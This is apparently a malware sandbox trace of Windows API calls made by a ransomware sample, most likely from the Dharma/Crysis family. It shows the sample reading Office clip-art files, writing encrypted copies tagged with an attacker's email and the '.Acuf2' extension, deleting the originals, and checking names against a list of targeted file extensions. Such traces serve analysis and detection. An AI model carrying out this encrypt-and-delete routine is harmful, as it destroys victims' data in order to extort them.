	[0259.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0259.878] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.878] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0259.878] GetLastError () returned 0x0
	[0259.878] ReadFile (in: hFile=0x330, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x1496, lpOverlapped=0x0) returned 1
	[0259.880] WriteFile (in: hFile=0x220, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x14a0, lpOverlapped=0x0) returned 1
	[0259.880] ReadFile (in: hFile=0x330, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0259.880] WriteFile (in: hFile=0x220, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0259.881] SetEndOfFile (hFile=0x220) returned 1
	[0259.881] CloseHandle (hObject=0x220) returned 1
	[0259.881] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.881] SetEndOfFile (hFile=0x330) returned 1
	[0259.883] CloseHandle (hObject=0x330) returned 1
	[0259.883] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0259.883] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf")) returned 1
	[0259.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60
	[0259.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60
	[0259.883] lstrlenW (lpString=".doc") returned 4
	[0259.883] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0259.883] lstrlenW (lpString=".docx") returned 5
	[0259.883] lstrcmpiW (lpString1=".docx", lpString2="E.WMF") returned -1
	[0259.883] lstrlenW (lpString=".pdf") returned 4
	[0259.884] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0259.884] lstrlenW (lpString=".xls") returned 4
	[0259.884] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0259.884] lstrlenW (lpString=".xlsx") returned 5
	[0259.884] lstrcmpiW (lpString1=".xlsx", lpString2="E.WMF") returned -1
	[0259.884] lstrlenW (lpString=".ppt") returned 4
	[0259.884] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0259.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60
	[0259.884] lstrlenW (lpString=".zip") returned 4
	[0259.884] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0259.884] lstrlenW (lpString=".rar") returned 4
	[0259.884] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0259.884] lstrlenW (lpString=".bz2") returned 4
	[0259.884] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0259.884] lstrlenW (lpString=".7z") returned 3
	[0259.884] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0259.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60
	[0259.884] lstrlenW (lpString=".dbf") returned 4
	[0259.884] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0259.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60
	[0259.884] lstrlenW (lpString=".1cd") returned 4
	[0259.884] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0259.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60
	[0259.884] lstrlenW (lpString=".jpg") returned 4
	[0259.884] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0259.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60
	[0259.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60
	[0259.884] lstrlenW (lpString=".doc") returned 4
	[0259.884] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0259.884] lstrlenW (lpString=".docx") returned 5
	[0259.884] lstrcmpiW (lpString1=".docx", lpString2="E.WMF") returned -1
	[0259.884] lstrlenW (lpString=".pdf") returned 4
	[0259.885] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0259.885] lstrlenW (lpString=".xls") returned 4
	[0259.885] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0259.885] lstrlenW (lpString=".xlsx") returned 5
	[0259.885] lstrcmpiW (lpString1=".xlsx", lpString2="E.WMF") returned -1
	[0259.885] lstrlenW (lpString=".ppt") returned 4
	[0259.885] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0259.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60
	[0259.885] lstrlenW (lpString=".zip") returned 4
	[0259.885] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0259.885] lstrlenW (lpString=".rar") returned 4
	[0259.885] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0259.885] lstrlenW (lpString=".bz2") returned 4
	[0259.885] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0259.885] lstrlenW (lpString=".7z") returned 3
	[0259.885] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0259.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60
	[0259.885] lstrlenW (lpString=".dbf") returned 4
	[0259.885] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0259.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60
	[0259.885] lstrlenW (lpString=".1cd") returned 4
	[0259.885] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0259.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60
	[0259.885] lstrlenW (lpString=".jpg") returned 4
	[0259.885] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0259.885] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0259.885] lstrlenW (lpString="CRANINST.WMF") returned 12
	[0259.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0259.886] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=49546) returned 1
	[0259.886] CloseHandle (hObject=0x330) returned 1
	[0259.886] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf")) returned 0x20
	[0259.886] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0259.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0259.887] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.887] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0259.887] GetLastError () returned 0x0
	[0259.887] ReadFile (in: hFile=0x330, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0xc18a, lpOverlapped=0x0) returned 1
	[0259.889] WriteFile (in: hFile=0x220, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xc190, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xc190, lpOverlapped=0x0) returned 1
	[0259.891] ReadFile (in: hFile=0x330, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0259.891] WriteFile (in: hFile=0x220, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0259.891] SetEndOfFile (hFile=0x220) returned 1
	[0259.891] CloseHandle (hObject=0x220) returned 1
	[0259.891] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.891] SetEndOfFile (hFile=0x330) returned 1
	[0259.894] CloseHandle (hObject=0x330) returned 1
	[0259.894] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0259.894] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf")) returned 1
	[0259.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63
	[0259.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63
	[0259.895] lstrlenW (lpString=".doc") returned 4
	[0259.895] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0259.895] lstrlenW (lpString=".docx") returned 5
	[0259.895] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1
	[0259.895] lstrlenW (lpString=".pdf") returned 4
	[0259.895] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0259.895] lstrlenW (lpString=".xls") returned 4
	[0259.895] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0259.895] lstrlenW (lpString=".xlsx") returned 5
	[0259.895] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1
	[0259.895] lstrlenW (lpString=".ppt") returned 4
	[0259.895] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0259.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63
	[0259.895] lstrlenW (lpString=".zip") returned 4
	[0259.895] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0259.895] lstrlenW (lpString=".rar") returned 4
	[0259.895] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0259.895] lstrlenW (lpString=".bz2") returned 4
	[0259.895] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0259.895] lstrlenW (lpString=".7z") returned 3
	[0259.895] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0259.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63
	[0259.895] lstrlenW (lpString=".dbf") returned 4
	[0259.895] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0259.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63
	[0259.895] lstrlenW (lpString=".1cd") returned 4
	[0259.895] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0259.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63
	[0259.895] lstrlenW (lpString=".jpg") returned 4
	[0259.895] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0259.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63
	[0259.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63
	[0259.896] lstrlenW (lpString=".doc") returned 4
	[0259.896] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0259.896] lstrlenW (lpString=".docx") returned 5
	[0259.896] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1
	[0259.896] lstrlenW (lpString=".pdf") returned 4
	[0259.896] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0259.896] lstrlenW (lpString=".xls") returned 4
	[0259.896] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0259.896] lstrlenW (lpString=".xlsx") returned 5
	[0259.896] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1
	[0259.896] lstrlenW (lpString=".ppt") returned 4
	[0259.896] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0259.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63
	[0259.896] lstrlenW (lpString=".zip") returned 4
	[0259.896] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0259.896] lstrlenW (lpString=".rar") returned 4
	[0259.896] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0259.896] lstrlenW (lpString=".bz2") returned 4
	[0259.896] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0259.896] lstrlenW (lpString=".7z") returned 3
	[0259.896] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0259.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63
	[0259.896] lstrlenW (lpString=".dbf") returned 4
	[0259.896] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0259.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63
	[0259.896] lstrlenW (lpString=".1cd") returned 4
	[0259.896] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0259.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63
	[0259.896] lstrlenW (lpString=".jpg") returned 4
	[0259.896] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0259.897] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0259.897] lstrlenW (lpString="CUP.WMF") returned 7
	[0259.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0259.898] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=2966) returned 1
	[0259.898] CloseHandle (hObject=0x330) returned 1
	[0259.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf")) returned 0x20
	[0259.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0259.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0259.898] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.898] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0259.899] GetLastError () returned 0x0
	[0259.899] ReadFile (in: hFile=0x330, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0xb96, lpOverlapped=0x0) returned 1
	[0259.900] WriteFile (in: hFile=0x220, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xba0, lpOverlapped=0x0) returned 1
	[0259.901] ReadFile (in: hFile=0x330, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0259.901] WriteFile (in: hFile=0x220, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xe2, lpOverlapped=0x0) returned 1
	[0259.901] SetEndOfFile (hFile=0x220) returned 1
	[0259.901] CloseHandle (hObject=0x220) returned 1
	[0259.901] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.901] SetEndOfFile (hFile=0x330) returned 1
	[0259.903] CloseHandle (hObject=0x330) returned 1
	[0259.903] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0259.903] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf")) returned 1
	[0259.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58
	[0259.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58
	[0259.904] lstrlenW (lpString=".doc") returned 4
	[0259.904] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0259.904] lstrlenW (lpString=".docx") returned 5
	[0259.904] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1
	[0259.904] lstrlenW (lpString=".pdf") returned 4
	[0259.904] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0259.904] lstrlenW (lpString=".xls") returned 4
	[0259.904] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0259.904] lstrlenW (lpString=".xlsx") returned 5
	[0259.904] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1
	[0259.904] lstrlenW (lpString=".ppt") returned 4
	[0259.904] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0259.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58
	[0259.904] lstrlenW (lpString=".zip") returned 4
	[0259.904] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0259.904] lstrlenW (lpString=".rar") returned 4
	[0259.904] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0259.904] lstrlenW (lpString=".bz2") returned 4
	[0259.904] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0259.904] lstrlenW (lpString=".7z") returned 3
	[0259.904] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0259.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58
	[0259.904] lstrlenW (lpString=".dbf") returned 4
	[0259.904] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0259.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58
	[0259.904] lstrlenW (lpString=".1cd") returned 4
	[0259.904] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0259.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58
	[0259.904] lstrlenW (lpString=".jpg") returned 4
	[0259.904] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0259.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58
	[0259.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58
	[0259.905] lstrlenW (lpString=".doc") returned 4
	[0259.905] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0259.905] lstrlenW (lpString=".docx") returned 5
	[0259.905] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1
	[0259.905] lstrlenW (lpString=".pdf") returned 4
	[0259.905] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0259.905] lstrlenW (lpString=".xls") returned 4
	[0259.905] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0259.905] lstrlenW (lpString=".xlsx") returned 5
	[0259.905] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1
	[0259.905] lstrlenW (lpString=".ppt") returned 4
	[0259.905] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0259.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58
	[0259.905] lstrlenW (lpString=".zip") returned 4
	[0259.905] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0259.905] lstrlenW (lpString=".rar") returned 4
	[0259.905] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0259.905] lstrlenW (lpString=".bz2") returned 4
	[0259.905] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0259.905] lstrlenW (lpString=".7z") returned 3
	[0259.905] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0259.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58
	[0259.905] lstrlenW (lpString=".dbf") returned 4
	[0259.905] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0259.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58
	[0259.905] lstrlenW (lpString=".1cd") returned 4
	[0259.905] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0259.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58
	[0259.905] lstrlenW (lpString=".jpg") returned 4
	[0259.905] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0259.906] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0259.906] lstrlenW (lpString="CUPINST.WMF") returned 11
	[0259.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0260.012] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=10326) returned 1
	[0260.012] CloseHandle (hObject=0x354) returned 1
	[0260.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf")) returned 0x20
	[0260.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0260.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
